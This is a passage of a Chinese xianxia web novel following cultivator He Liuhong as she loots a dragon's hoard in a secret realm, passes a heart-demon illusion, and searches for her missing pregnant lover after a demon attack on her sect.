从贺流虹的角度看,美人眼尾的泪痣越发的红,整个人透出一种盛放期花朵糜艳的味道,让人忍不住想要揉碎,挤出熟烂香甜的汁水。 她原本只是想逗弄一下对方,被他这么一引诱,当真有些忍不住。 “为什么不行?”她那双眼尾微微下垂的狗狗眼装起可怜来,具备得天独厚的优势,黑漆漆圆溜溜的眼珠子清亮中泛着狡猾的光,趁景雍不备就上前一步搂住了他的细腰,耍赖一样挂在他身上晃来晃去。 她手上搂得有多用力,嘴里就说得有多可怜,“小师叔,为什么不能那样呀,可是我好想和你这样那样呀,昨天掌门还骂了我,今天周家还带着风月宗来欺负我,我小小的年纪,心中早已被这个世界伤得 千疮百孔,小师叔,你也要拒绝我吗。” 景雍被她缠得既甜蜜又苦恼,也觉得那么多人都欺负她实在可怜,但她抱着他也就罢了,手还不安分,让他的身体一阵阵地打颤,发软。 他用仅存的一点理智说道:“不可以,三日后你就要进入龙吟秘籍,不能在这个时候胡来,你需要好好为此做准备。” 贺流虹委屈道:“掌门说龙吟秘境非常凶险,我好害怕,压力特别大,我都怕撑不到三天后就把自己吓死,只有在小师叔身边,和小师叔离得更近一些,才会感到放松。” 景雍纠结片刻,抬起手羞涩地解开自己的衣带,嘴里强装镇定地说道:“就这一次,你答应我从明日开始待在妙音峰专心闭关修炼。” 贺流虹暗笑他在这个时候还要摆师叔的谱,一边应着“好”,一边把他往床榻间拽,很快就把人欺负得泪水涟涟,像一条搁浅的鱼,湿漉漉半睁着茫然失神的眼睛,时不时激烈挣扎一番,最后被潮水席卷坠进黑暗。 在神月峰流连大半日,离开时的贺流虹神清气爽,心平气和,无欲无求,心里除了修炼再也没别的。 她回到妙音峰的洞府开始闭关,修为进一步提升之后,重新躲进丹府的乾坤珠面对她时安分很多。 掌门说乾坤珠无所不能,连天地法则都能改变,她对乾坤珠的掌控还没到那种地步,既然它那么喜欢呆在她的丹府里装内丹,她试着将它当做第二颗内丹来用。 两颗内丹的修炼速度直接翻倍,三天时间她的境界突破到了金丹中后期,只差一步就是元婴。 三天后龙吟秘境入口开放,掌门在入口外面发表临行讲话:“秘境入口设了禁制,只有元婴以下能够进去,我和各位师伯师叔长老不能近身保护,你们是本门最有希望的弟子,进去之后一切小心,修炼和机缘重要,但是性命更重要……” 他絮絮叨叨说了一堆,交代了秘境中可能存在的危险,又说了遇到性命威胁时如何向外面护法的长老们求救,最后看向贺流虹,道:“你随我来。” 贺流虹从人群中走出来,和他走到一旁。 他先是满意地点点头:“你进阶的速度比琼华当年更快,也更顺利,我们果然没有看错你。” 贺流虹找了一圈,“我小师叔呢?” 景离有些无语:“我跟你说正事,你老想着你小师叔干什么?” 贺流虹:“不是你先提他的吗。” “我只是拿他来做个对比,重点在今天的秘境。”景离说道,“里面气场特殊,天赋越好的人修炼起来越是轻松愉快,你要是运气好,一举突破到元婴中期也不是没可能。龙吟秘境对你来说很关键,比其余人都更关键。” 贺流虹笑眯眯点头:“我记住了。” 她很佩服掌门,有种能把所有人都变成工具人的能力,不管做了什么,哪怕是把从小养大的师弟的肚子搞大了,修为搞倒退了,为了守护天玄宗万年基业,区区怀孕,何足挂齿。 不过话又说回来了,从小养大的师弟对掌门来说又何尝不是工具人。 景离忽然问她:“你最怕的是什么?” 贺流虹:“我最怕空气突然安静。” 景离:“……?你什么毛病,说正经的。” 贺流虹:“最怕朋友突然的关心。” 景离如临大敌,“什么朋友,哪个朋友,男的女的,是人是妖,活着死了,你们什么关系,你还爱他?” 贺流虹尴尬地笑了一声,下次和人聊天再也不背歌词了,她岔开了话题:“别提了,都是过去的事了,对了掌门师尊问我这个做什么?” 景离郑重地说道:“这事关一次心魔考验,它是整个龙吟秘境最凶险也最大的机遇,你会在心魔幻境中直面心中最大的恐惧,稍有不慎,轻则走火入魔,重则形消神灭,但是如果通过考验,会得到秘境的赐福。天玄宗这么多年以来得到赐福的人屈指可数,大多数人不敢拿性命冒险,宁愿放弃机会。” 贺流虹说道:“我会去试试看的。” 景离想了想,没有阻止她这个决定,只说了句:“尽力而为,不要勉强。” 贺流虹又问了一句:“我小师叔呢?” “他的……胎象有些不稳,”说起这种事情掌门还是有些不自在,他仍然没能适应师弟现在的变化,清了清嗓子,“方才谷主过来了,正在神月峰替他诊治。” 贺流虹听到谷主过来的消息,道:“我先去神月峰看看。” 掌门拉住她:“这有什么好看的,不是什么严重的事,秘境入口马上就要出现了,错过了可就没这机会。” 刚说完,不远处出现一道金光,隐隐传来一声龙吟,地上出现龙鳞般的符文,入口出现得比预料中要早了一点。 贺流虹坠在队伍的末尾,踩在龙鳞符文上,身影消失在光芒中。 一进去她就被其中浓郁的灵气惊到,比起这个地方,曾经让她为之感慨的神月峰和妙音峰都不算什么了。 这里的灵气没有丝毫污染,源源不断沿着经脉汇拢到丹府,几乎不用费任何力气就能修炼。 难怪说进来后就算什么都不做,放弃寻找一切潜在的机缘,只找个地方躲起来闭关,都比在外面辛辛苦苦修上几十上百年要划算。 秘境是世上最后一条龙消失前留下的,龙族喜欢收集宝藏,龙吟秘境中留下的宝藏不计其数,又因为开启入口的次数很少,时至今日还有大片未发掘的珍宝秘籍。 贺流虹来都来了,说什么也要先去找找宝藏,毕竟现在也是有孩子要养的人了。 第62章 第62章孩子爹呢 秘境存在的最长时间是三个月,超过时间会被强行扔出去,当然,也可以主动离开,或者触犯到某些禁制被踢出去。 贺流虹小心翼翼朝龙族巢穴摸过去,路上遇到不少和她一样想法的。 大家心照不宣地打了招呼,然后暗戳戳加快赶路的速度,生怕被捷足先登。 贺流虹虽然也有一颗想要发财致富的心,但以防得不偿失,走得不紧不慢。 反正去得早最后也是要打起来的,能进秘境的弟子修为都差不多,谁也别想悄悄暴富。 去龙巢的路上危机四伏,她眼见着一位师兄因为不小心碰到一条奇怪的树藤被当场抽晕过去,不由更加谨慎。 她前进得越来越慢,乾坤珠贪婪地吸收着四周的灵气,她必须分出心神来对此进行压制,否则过快的灵气吸收速度会导致以她为中心形成一个灵气旋涡,有种要入定升级的不妙感。 她还想去抢宝藏,现在可不是闭关入定的时候。 一个人走了没多久,她遇到了一个比她更谨慎的人。 对方应该是一名炼器堂的师姐或师妹,充分发挥了专业精神,从头到脚用一件法器炼制的软甲包裹起来,软甲上还缀满各种各样的防护法器。 四目相对,两人都有些沉默,贺流虹不确定地问:“赵师姐,你怎么弄成这样?” 赵炎炎摘下密不透风的头盔,长舒一口气:“我比较不擅长打架。” 贺流虹表示理解:“优秀的炼器师不需要擅长打架。” 赵炎炎苦涩道:“唉,要不是师父不争气,谁愿意受这罪。” 赵炎炎是炼器堂堂主的亲传弟子,但炼器堂堂主似乎与掌门等人有些不和,即便也是天玄宗的长老之一,但议事时贺流虹从来没看她出现过,大概也是因为这个,炼器堂的修炼资源一直不多。 赵炎炎费劲在宗门大比拿到进去龙吟秘境的名额,目的也很简单,多弄点好东西回去。 “就是不知道能抢到多少,我一个炼器师真的打不过他们啊。”她观察四周,“龙吟秘境都是没见过的奇花异植,感觉每一个都能要了我的命。” 贺流虹言简意赅道:“到时候见机行事吧。” 赵炎炎有她作伴,多了很多安全感,她是贺流虹修为一路突飞猛进的见证者,更加能体会这其中的震撼,贺流虹的修为虽然不能在天玄宗横着走,但如今进入龙吟秘境这些人也都是些年轻弟子。 距离龙巢还有段距离,两人就听见了打斗和争吵声,秘境中禁止同门厮杀,但没禁止切磋,所以不出杀招不下死手,该打还是得打。 贺流虹竖起耳朵听了一会儿,道:“带上容量最大的芥子袋,我 们这就过去。” 赵炎炎激动道:“贺师妹,你终于要出手了吗,给他们点修真强者的震撼!” 贺流虹偷偷摸摸躲在树后观望,闻言一愣,“什么震什么撼,这么好的机会,趁他们忙着打架,咱俩当然要去悄悄捡漏。” 赵炎炎燃到一半被强制冷静下来,默默戴上自己的头盔,“好吧,我已经准备好捡漏了。” 她从芥子袋里翻了几样能隐藏气息的法器,给自己和贺流虹分了分,贺流虹又往两人身上贴了藏匿符,将自身存在感降到最低,继续往龙巢摸过去。 越接近巢穴,属于龙族的气场就越强烈,带来明显的压迫感,浑厚威严的龙吟声回荡在上空,数万年来经久不散。 在这种情况下,大家的实力都无法充分发挥出来,就算没有不许厮杀的禁制,也很难打死人。 随之而来的弊端就是,一旦打起来就没完没了,难分胜负,太浪费时间了。 贺流虹躲在一块石头后面观察战局,有种看了一百集注水电视剧的疲惫感,趁着左边有块角落里没人注意,她蹑手蹑脚靠近。 龙巢空旷无比,怪石嶙峋,尽头有块最大的石头,似乎是龙睡觉的地方。 石头下面的缝隙露出的光芒快要刺瞎人的眼睛,藏满了灵石法宝,那群人在半路就互相缠斗,一时无人靠近“龙床”。 贺流虹加快了移动的速度,赵炎炎紧随其后,两人身上全是具有隐匿功能的法器符篆,直到快要摸到那块巨石,都没有任何人发现。 赵炎炎乐不可支,拿出两只芥子袋,递给贺流虹一个,“快装快装,这是我炼制的特大好储物袋,一个顶十个,超能装。” 她望着从缝隙中隐约窥见到的景象,石头下面的空间一眼看不到头,忙又拿出好几个,“幸好我有先见之明,炼制了很多,就怕一个装不下。” 两人正要从缝隙钻进“龙床”下的藏宝洞,猛地听到有人大喊一声:“别打了!那边有俩不要脸的趁我们打架在捡漏!” 打架的人瞬间围了过来,将两人认了出来,感到难以置信:“贺流虹?我师父说你天赋卓绝一代天骄,是比琼华师叔还要出色的宗门之光,你怎么一点也不光明磊落!” “别扯些有的没的,耽误我捡钱。”她拉着赵炎炎就钻进藏宝洞,赵炎炎反应迅速地掏出法宝把入口堵住。 外面传来骂骂咧咧的声音。 贺流虹充耳不闻,拿着芥子袋就是装,这一刻她真正体会到什么是堆积如山,灵石是其中最不起眼的东西,什么灵珠宝石,法宝丹药就像是垃圾一样全部乱七八糟堆放在一起。 在外面的人合力攻击下,堵住入口的法器有快要碎裂的趋势。 赵炎炎继续掏出法器,往入口走去,说道:“我守着门,你快装。” 贺流虹头也不回地说:“你加油,我多给你装点炼器原材料。” “砰”的一声,入口终于被外面的人炸开了,一群人涌进来,还没开骂,又是“轰”的一声,冲在最前面的都被一股气流掀飞,空气里全是火焰的灼烧气味。 贺流虹被身后动静惊到,扭头一看,“赵师姐,你不是说你不擅长打架?” 赵炎炎指了指手上形状和使用方法都很像火枪的法器,道:“我不擅长,但是它擅长。” 贺流虹冲她竖起尊敬的大拇指,然后继续争分夺秒收取宝藏,遇到能立刻用来打架的法宝就直接扔给赵炎炎。 赵炎炎身为一名不擅与人动手的炼器师,丢出去的法器五花八门,让试图挤进入口的人叫苦不迭,只能一边躲一边破口大骂。 “赵炎炎你不讲武德!” “有本事咱们真正比试一场,只凭修为,你拿法宝算什么!” “炼器堂多少家底啊,你要把它败光,考虑过你师父的感受吗?” 赵炎炎忽然惊叫了一声:“啊!完了!我的绝版收藏!” 对面有人定睛一看,地上躺着一本刚刚扔过来的书,捡起来一看,顿时眼睛都瞪大了:“什么绝版收藏,我翻看一看,全是涩图!” 赵炎炎面容惨淡,伸出寻寻觅觅的手:“涩图,不要伤害涩图!” 对面的人高高举起涩图:“你再继续打我们,我就撕了你的涩图!” 赵炎炎:“贺师妹,我不是他们的对手,他们牢牢把握住了我的软肋!” 贺流虹严肃起来,涩图,而且还是绝版涩图,这可不是小事。 她停下动作,转过身来看着对面,劝道:“有话好好说,你们不要冲动啊。” 那位挟制住了涩图的师姐歪嘴邪魅一笑:“两个小东西,现在知道怕了吧,不想它出事的话,现在就乖乖从了我。” 赵炎炎连忙道:“是是是,师姐,你想让我做什么都可以。” “先把你那身衣服脱了。” “这不好吧,大庭广众的。”赵炎炎一脸扭捏,“虽然师姐你很漂亮,但是人家……” “你还想不想救它了?” “我脱我脱。” 赵炎炎脱了自己的防护罩,感觉对面一剑就能把她打倒,怂怂地躲到了贺流虹身后。 那位师姐又说:“现在你俩都出去,这里没你们的份了。” 贺流虹也是一副怂怂的样子,问:“那能先把涩图还我们吗?” 两人已经退到了出口,充满诚意,在场都是同门,抢宝藏也不能伤了同门情谊,女修把涩图扔给她,顺手布下结界封住了入口。 贺流虹站在外面,气定神闲。 赵炎炎提议道:“那我们先鉴赏一下涩图?” 贺流虹说:“放松一下也好。” 不一会儿,藏宝洞里就再次传来争吵打斗声。 贺流虹吸取教训,既然捡漏不行,那就只能做一回正义判官了。 她摩拳擦掌,活动了一下筋骨,热身结束,举着剑就朝洞口劈下去。 这一剑声势浩大,不仅洞口的结界碎了,龙巢也跟着颤抖了好几下,在一群被压制大半修为的人看来着实有些恐怖。 恐怖之余,又很疑惑,大家都不能发挥全部实力,怎么你可以? 贺流虹的修为当然也被压制了,只不过她是多了一个“内丹”的人,修为打个对折也够用了。 她提着剑大步走进去,身边是拿着“火枪”的赵炎炎,一进去就呵斥道:“都别动,把手举起来,全部蹲到中间去!” 一群人面面相觑,不明白她这是什么意思,但她那一剑让人清楚地意识到实力的差距,不得不照办。 贺流虹让赵炎炎维持纪律,自己在一旁义正言辞地说道:“你们打群架,寻衅滋事,扰乱宗门治安,情节极其严重,我要宣判你们死刑!” 赵炎炎:“啊?” 挤挤攘攘蹲在一起的同门:“啊?死刑,别吹了,秘境禁止杀人。” 贺流虹:“那我可以出去杀,我连周无疾都杀,你们我照样杀。” 那个拿涩图威胁过人的师姐飞快改口:“别杀我,我招,我都招,赵师妹的绝版涩图其实是盗版,正版被我买到 了。” 赵炎炎:“什么?别的不杀没事,这个必须杀!” 贺流虹背着手:“不杀你们也可以,你们交出身上所有值钱的东西,然后一炷香内离开龙巢,出去之后一人写一份检讨,不得少于一万字。” “凭什么!” “你修为比我们高也不能这么欺负人,这秘境又不是你一个人的。” 赵炎炎下意识反驳道:“这秘境也不是你们的啊,它是天玄宗的。” 贺流虹:“还是赵师姐觉悟高,秘境是天玄宗的,秘境里的宝贝当然也是天玄宗的,我们作为门中弟子,怎么能为一己私欲在这里争斗不休。” 她说着,将灵力尽数灌注到手上那把剑上,寒光锋锐,“我决定将这些灵宝都上交师门,帮助师门发展,谁赞同,谁反对?” 这谁敢反对,她是真敢不顾同门情谊当众杀人的,杀完了还有掌门和小师叔维护,听说龙吟秘境能提前几十年开放都是因为太上长老们想为她制造成长的机会。 刚刚还群情激愤的现场忽然无比和谐:“不愧是贺师姐,实在是高风亮节。” “像贺师妹这么大公无私的人现在真的不多了。” “贺师妹进门晚,但是对师门的热爱比我们都要深沉啊,惭愧惭愧。” 贺流虹欣慰地说道:“看在大家都这么有觉悟的份上,我也不会让大家白跑一趟,这样吧,我做主,让大家各得一份辛苦费。” “还有辛苦费,太看不起我们了,为师门奉献,谈何辛苦!” “别装了,有点辛苦费很不错了,你不要我要。” “我也要我也要,我特别辛苦,多给我点辛苦费。” 在贺流虹这位大公无私的正义判官“监督”之下,大家都分到了一点宝贝。 虽然比起这堆满洞穴的宝贝,到手的不值一提,但是他们都做好被贺流虹打一顿扔出去的准备了,结果对方大发善心。 领完“辛苦费”的众人依依不舍离开这藏宝洞,心中感慨修真界果然是个弱肉强食的地方,自己打不过人家,只能安分一些了。 他们围着这块“龙床”又看了看,打算去别的地方找机缘。 有人好奇地御剑飞到龙床上,忽然发出爆笑:“哇,这是什么,这该不会是那条龙睡觉盖的被子吧?” 其余人听到上空传来的笑声,纷纷也到大石头上面去,就算是一条被子,又有什么好笑的。 一群人凑上去一看,确实是一条被子,但是和这块巨大的龙床一对比,小得像一张膏药贴。 再联想到龙族的体型,后来的人也都忍不住乐起来。 “这是龙族前辈拿来盖肚脐眼的吗,哈哈哈哈哈。” “被子看起来经常用,那条龙很喜欢它的小被子呢,哈哈哈哈。” 在一群快活的笑声中,巢穴上空的龙吟越发深沉,下一刻,石头上的所有人都被踢出了秘境。 贺流虹装东西装到一半,抬头望了望,紧张道:“怎么了这是,是不是我们拿得太多,把这位龙族前辈给惹恼了。” 赵炎炎半信半疑,也停了下来,“不会吧,从来没听说过有人因为在龙吟秘境拿得太多把龙惹恼了的。” 两人跑出去一看,外面静悄悄的,一个人都没有,地上散落着几个眼熟的芥子袋,是给那群同门弟子发辛苦费时刚刚才见过的。 现在芥子袋掉地上,刚拿到手的宝贝都从里面散落出来,根据进入秘境前学习的知识,这些人应该是不小心触犯了秘境中的某些禁制,被龙族残留的神识扔出了秘境。 贺流虹一边惋惜地摇头,一边乐呵呵捡掉在地上的芥子袋。 本来一开始她只是想来龙巢捡点漏,现在好了,连大家的芥子袋都归她了。 “刚才给他们分东西的时候我还有点舍不得,没想到这么快又回来了,真是太好了。” 赵炎炎:“你稍微有点太坦诚了。” 两人又去收了很多宝贝,直到神识感到一阵压力,明白这是秘境中残留的神识警告她们该收手了。 于是很有节制地及时收手,离开藏宝洞,刚一离开,洞口就忽然消失,再也找不到入口,像从来没出现过。 龙巢中很安全,两人暂时在这里休整,顺便整理一下收获。 灵石用单独的芥子袋装起来,法宝丹药这些也分门别类,还有一些不怎么能用得上的,就送到宗门仓库,也算是说到做到,心系师门发展了。 贺流虹在一堆形形色色的宝贝中有些眼花缭乱,拿着个毛茸茸的东西,“这怎么还有个尾巴,兔子尾巴?” 赵炎炎摸了摸下巴:“以我的专业眼光来看,这应该也是一件法器。” 贺流虹:“法器?打人也不疼啊,没多少杀伤力啊。” “谁说法器都是用来打人的。” “那是用来干嘛的。” 赵炎炎意味深长地笑了一下,压低声音说道,“你不是和小师叔关系好嘛,我师父说他连孩子都是你的,这条尾巴怎么用,你拿到小师叔身上比划比划不就知道了。” 贺流虹的精神为之一振,“那杀伤力可就有点太大了,我怕我抵抗不住。” 赵炎炎:“哎,人之常情。” 两人继续挑挑拣拣,又翻出来一卷颜色相当艳丽夺目的布料。 “这卷布料手感手软颜色漂亮,就是数量太少了些,还有些薄,做不了衣服,”赵炎炎摇摇头,“没啥用,放进宗门仓库吧。” 贺流虹阻止她,把那卷又薄又少的漂亮布料拿回来,“谁说做不了衣服,这种布是灵蚕吐的丝织出来的,还有美容养颜的功效,适合送小师叔,我觉得小师叔的衣服穿得太厚了,我想送他件布料少一些薄一些的衣服,你帮我炼成法衣吧,价钱好说。” 赵炎炎阅遍涩图,瞬间理解了她的意思,“那你想要弄成什么样式的,仔细跟我说说。” 贺流虹点点头,“送给小师叔的礼物,可不能马虎,你等我先想想,出去了再说。” 赵炎炎说:“你慢慢想,想不出来可以找我拿点绝版图册参考参考找找灵感。” 贺流虹表达了感谢,又挑出羽毛,灵矿,玉石,灵木,布匹等等可能用得上的材料,说:“一件也是做,两件也是做,你帮我多做几件,还有刚才那条兔子尾巴我怕小师叔不喜欢,你再看看能不能帮我炼制一些别的尾巴,比如狐狸尾巴小狗尾巴小猫尾巴什么的,让小师叔多点选择。价钱你定。” 赵炎炎由衷感叹道:“记得第一次见你,你还是个连几块灵石都抠抠搜搜的人,现在这么大方,看来你对小师叔着实是用情至深啊。” 贺流虹深情地遥望神月峰所在的方向,道:“小师叔可是修真界第一美人,肚子里还装着我的宝宝,我怎么能薄待了他。” 赵炎炎学着她的样子冲她竖起了大拇指,“我一定拿出毕生所学,为你炼制好这些东西的,炼器师不辜负每一份真爱。” 龙族收集宝贝荤素不忌,之后两人又发现了很多奇奇怪怪的东西,有小师叔能用得上的,贺流虹都留下来,等出去之后给小师叔惊喜。 赵炎炎拿着自己的那份,争分夺秒离开了龙巢,去找僻静的地方闭关修炼了。 贺流虹没有急于离开,龙巢压制修为,但不限制灵气的吸收,她打算在这里修炼一段时间。 在外面突破动静太大,容易吸引秘境中一些凶兽异植的注意,乾坤珠对灵气的吸收速度太恐怖了,仿佛不知疲倦,她有种再不憋着点就能直接原地突破元婴期的预感。 不再有意克制之后,贺流虹尽情吸收起四周灵气,陷入一种美妙的境地,灵气温润地梳理着经脉流淌过四肢百脉,整个人如坠云端。 这种感觉不知道持续了多久,周围场景骤然转变。 到处黑蒙蒙一片,不见一丝光亮,没有一点声音。 起初她以为这是这片空间没有光亮,随后她意识到自己无法动弹,无法睁开双眼,看不见任何东西,也听不见任何动静,甚至是冷是热都无法分辨。 她失去了所有感知,被困在一个自己也不知道是什么样的地方。 什么都做不了,她很快就无聊地睡了过去。 等再次醒来,状况没有任何改变。 困住她的空间很小,她似乎是以灵魂的状态存在,但被关在某个失去五感的躯壳之内,连带着她也无法精准地感知到周围的一切。 费劲感受了半天,她仍然没有任何突破,渐渐又因为无聊和疲倦睡了过去。 她就这样在黑暗寂静的躯壳内醒醒睡睡,刚开始还能记得自己醒了几次,睡了大概有多久,重复的次数多了,时间变得模糊。 她甚至连自己的存在都快感受不到了,在黑暗和寂静中融化成一片虚无。 这样的状态持续了多久?也许只是几天,也许是几年,几十年,几百年。 到底 发生了什么,为什么她会被困在一具躯壳里,她是谁,她怎么什么都记不清了,她已经死了吗,可是这具躯壳的心脏明明还在跳动,虽然那是一颗小小的心脏,似乎属于一个刚出生不久的婴儿。 她变得焦躁,愤怒,恐惧,在这具没有感知的躯壳中疯了一样寻找出口。 她想放声尖叫发泄自己积攒的情绪,但是发不出任何声音,她想要放声大哭,可是她还是哭不出来。 如果再找不到出口离开这具身体,她会被困在这里最终变成一个疯子。 她宁愿就此灵魂消散再也不存在,也不想继续忍受这种困在虚无的折磨。 极度的焦躁恐惧让她濒临崩溃,保持理智几乎消耗了她所有精力,于是沉睡的时间无限延长。 终于有一天,身边来了两个人。 贺流虹发现自己好像能听清一些声音了。 来的是一男一女,男人声音有些耳熟,心情愉悦地说道:“那本书上的信息无误,我顺着它给的线索去找,当真找到了乾坤珠。” 女人说道:“你不是说水月镜能消除这两个孩子灵魂中的因果气息,变成最纯净洁白的状态,我怎么瞧着左边这个孩子的灵魂气息还是如此浓烈。” 男人疑惑道:“两个孩子都在水月镜中净化了五百年,应当不会如此才对。” 贺流虹感觉有人朝自己这边走了过来,一缕神识探进她的眉心,她在恍惚间明白过来自己被困的原因,虽然早已忘了自己是谁,但她的执念从未消除,她想要出去。 她下意识恶狠狠朝这缕神识撞上去,却没想到自己的意识竟如此虚弱,没有给对方带来任何威胁。 只听那男人说道:“净化没有问题,是左边这个小东西的性情更加顽劣一些,她方才想跟我打招呼的。” 贺流虹:“……” 女人清脆悦耳的声音又传过来:“那就解开她们的封印,让她们正常生长吧,二十年,不,十六年后进行转换,我等不了太久。” 短暂的沉默后,男人犹豫地问:“真的想要要这么做了吗?其实我觉得当妖也没什么,你……” 女人动了怒:“被赶尽杀绝躲进蛮荒之地的又不是你!” 贺流虹感觉有片柔软的衣角轻轻擦过她鼻尖,痒痒的,想打喷嚏。 耳边继续传来女人的声音:“我就要这个孩子,另一个当做失败后的备用。” 女人说完,拂袖而去,男人追了上去。 贺流虹听了半天,又想睡觉了,昏昏沉沉地想,孩子?她好像确实有一个孩子,就是还没出生,正装在一个美貌男修的肚子了……等等,既然她的孩子都快出生了,为什么她自己现在还是一个孩子? 这是幻境! 她猛然惊醒,睁大了眼睛,只看见两道逐渐远去的背影。 她还想仔细辨认他们的身份,整个幻境轰然倒塌,眼前重新出现了龙族的巨大巢穴。 与此同时,记忆中有道高墙也随着幻境倒塌出现裂痕,墙后的记忆慢慢从裂痕中流淌,一如幻境中所经历的那样,充满着焦躁、痛苦、恐惧,再次涌上来的崩溃情绪将她包裹。 她在这糟糕的记忆冲击之下头疼欲裂,踉跄地倒在地面上。 头顶上的龙吟声如雷鸣轰隆,一条龙盘旋在巢穴上空,围着她转了几圈,阵阵璀璨威严的金色光芒沐浴而下,荡洗她奇经八脉,脑海里的痛苦在光芒包裹之中得到了治愈,境界开始松动,突破,继续松动,继续突破。 贺流虹发现自己不知不觉来到了元婴期,而且还是元婴后期。 龙影消失之前,一个五彩斑斓的金色物体掉到她手边,她捡起来一看,是一片龙鳞。 虽然不知道有什么作用,但看着就是个好东西。 她将龙鳞收好,意识到自己似乎是在毫无防备地情况下进入了心魔幻境,并且还成功通过,获得了赐福。 回想幻境中的体验,她心有余悸,看一看时间,她竟然在幻境中被困了两个多月。 距离秘境关闭只剩下几天,她坐下来准备巩固下提升得太快还不够稳定的境界,忽然一阵地动山摇。 耳边再次传来打斗声,不过这次是从秘境外面传来的。 有人正在破坏秘境唯一的出口。 她释放神识匆忙在秘境中寻找一圈,将剩下的人一起带了出去。 外面躺着不少妖族和天玄宗弟子的尸体,那个破坏秘境出口的妖族见到她出来,知道这一计彻底失败,朝她杀了过来。 贺流虹刚一抬手,对方就飞了出去,跟演的一样。 因为大家都很忙,她只好自己兼任一下路人角色赞叹:“元婴后期,恐怖如斯!” 她扫了眼妖族数量不对,远比预料中少,感到不妙,妖族趁着天玄宗大修们都在关注龙吟秘境,联合仙门叛党们打上门来了。 如果顺利毁掉秘境入口,就能使天玄宗年轻一代的希望困死在里面。 除此以外,妖族不会放过这个绝佳机会去找小师叔报仇。 她直奔神月峰而去,一路全是缠斗在一起的双方,进入秘境之前她就听说小师叔身体不适,可千万别有个三长两短。 神月峰常年冷清,贺流虹赶过去的时候,洞府的结界遭到了破坏,不仅小师叔不见了,连小师叔的鸟都一起消失了。 地上除了几根鸟毛,倒是没有血迹什么的。 她抓住一个路过的有些眼熟的人,认出这是上次那个撒泼的周家管家,恶狠狠问:“老登,我孩子爹呢!” 管家吓得不行,到输人不能输阵,同样恶狠狠道:“我就猜到你们两个关系不纯,一个男的被自己师侄搞大肚子,不知羞耻,我要揭发!我要向整个修真界揭发!” 贺流虹敲了他一拳,“说不说!” “他身体虚弱,早就死了,下一个就轮到你!” 贺流虹一拳把他打飞,“浪费我时间,要死你先死。” 第63章 第63章好像演出事了 直到妖族被打跑,贺流虹都没在任何地方找到小师叔的踪影。 掌门有些歉疚地看着她:“当时大部分人都守在龙吟秘境外,妖族攻进来的时候没能顾得上神月峰那边。” 贺流虹说:“现在说这些没意义了,先去抓几个妖修问问情况吧。” 这次天玄宗虽有损失,但妖族损失更多,很多妖修被活捉。 执法堂的人在逐一审问他们,除了这次和妖族一同攻打过来的,到底暗地里还藏着多少仙门叛徒。 贺流虹和掌门一起过来,审问的弟子表示没有问出什么关于小师叔的消息。 掌门用力揉了揉眉心,宽慰贺流虹不要太过担心,“琼华到底也是化神期的大修,即便身体抱恙,想来也能自保。” 贺流虹没说话,望着那些被刺穿身体钉在受刑架上的妖修。 她的心魔幻境中也有一个妖修,可惜只看到一个背影。 受审的妖修吐不出有用的信息,妖丹就被剖出来,大概是为了杀鸡儆猴,有些妖修是被活活剖出妖丹而死的。 剖出来的妖丹又被清理干净,仔细保存起来。 贺流虹不解:“要这么多妖丹做什么?” 之前看到高价悬赏妖丹的消息,她还还认为那些灵石是对修士们的鼓舞和奖赏,随着妖丹价格越来越高,有些事情变得越来越清楚,这些宗门的主要目标是妖丹。 妖丹对人族修炼无益,很容易反噬自身走火入魔 ,通常都是直接毁掉,而不是像这样收集保存起来。 掌门避开她的问题不答,只是心神不定地说道:“等以后你就知道了。” 她盯着妖族,显得心不在焉,不知道在想什么。 掌门像是不想让她继续追问,恭喜起她获得龙族赐福的事,“你远超我和诸位太上长老的期待,竟是在三个月内突破到元婴后期,半步化神。” 要知道他自己曾经在这一步困了好几百年,他的天赋比不上小师弟景雍,但放在整个仙门也是出类拔萃的。 然而贺流虹不仅远胜他当年,甚至连琼华也难以望其项背。 照这个速度,天玄宗或许百年内真的能有人飞升。 这种话他现在已经不敢明着说出来,上一个说两百年内飞升有望的是琼华,结果就中了毒,接连遭遇意外,他可不想贺流虹也被他乌鸦嘴影响。 贺流虹想到什么,从芥子袋拿出那片龙鳞,说:“赐福时那条龙给了我这个,是干嘛的?” 掌门有些不太确定地说道:“相传龙族之所以从世间消失,是因为它们本就是世外之物,不属于这个世界,它给了你龙鳞相当于赐给你半分有真龙之气,或许你能试着与世外沟通。” 他怕贺流虹执着于此,又强调道:“这只是一些子虚乌有的揣测,还是该专注于自身修炼。” 贺流虹却忍不住想,与世外沟通,难道她还有机会回到她以前的世界? 这个念头一冒出来,她就有些激动,毕竟那是老家,妈妈也许还在等她。修仙虽好,但风险太大,一不小心就身陷险境遭受性命威胁。 但是话又说回来,这只是揣测,太过期待会难以承受希望落空的打击。 眼下还是要先把小师叔找回来。 她心里有了些猜想,只是需要离开宗门一趟。 掌门听她说要在这个时候离开,露出了不太赞同的表情,委婉劝道:“我已经安排了很多人去找,你刚突破了一个大境界,应当留在宗门巩固一下修为才是。” 贺流虹道:“找不到小师叔,我心里不安稳。” 掌门倒也乐意于看到她对琼华依恋的样子,“也罢,你万事小心。” 两人从执法堂往外走,在门口撞上一个慌慌张张的弟子,那弟子和同伴在外历练,不料刚分开半天,同伴就莫名失踪了。 最近经常听到这样的消息。妖族攻打过天玄宗后,失踪的人族修士就更多了。 那个失去同伴的弟子愤怒地说道:“阴狠毒辣的妖族到底还要祸害我们仙门多久!” 掌门让他先去疗伤,嘴里忧愁地念叨着什么妖修散布各处,不好集中剿灭。 他以为贺流虹是要去妖修那儿寻找小师叔下落,给她提供了几个妖修可能藏身的地点。 贺流虹虽然没打算去妖族那里找人,但还是默默记下来。 自从见到那个失去同伴的弟子,掌门就一副心事重重的样子,有些敷衍地说道:“那你先去吧,我去拜访一趟缥缈仙宗。” 缥缈仙宗和天玄宗在修真界的地位和实力不相上下,同为仙门之首,平日往来不多。 贺流虹好奇了一下掌门在这时候去缥缈仙宗是要干什么,但很快就抛到脑后,专心赶路。 她要去风月宗“问候”周荡。 在她的心魔幻境当中,那个男人的背影和周荡很像,只不过更年轻,又对水月镜那么了解,和妖族有染,除了周荡她想不到别人。 小师叔的失踪没准也和他有关。 贺流虹清楚地记得,周荡上次对小师叔表现出过分的“关心”。 行至半路,她被沾了血迹的草尖吸引注意力。 由于担心那血是小师叔的,她沿着血迹寻了过去,来到一个山洞外面。 洞口有两个修士正在低声交谈。 “这一批里面有几个好像不是散修,要不放了吧,免得惹出乱子。” “怕什么,天玄宗自顾不暇,威风不了多久了,仙门还有谁敢和我们叫板。” 山洞里传来一声叫喊:“有人想逃,快抓住。” 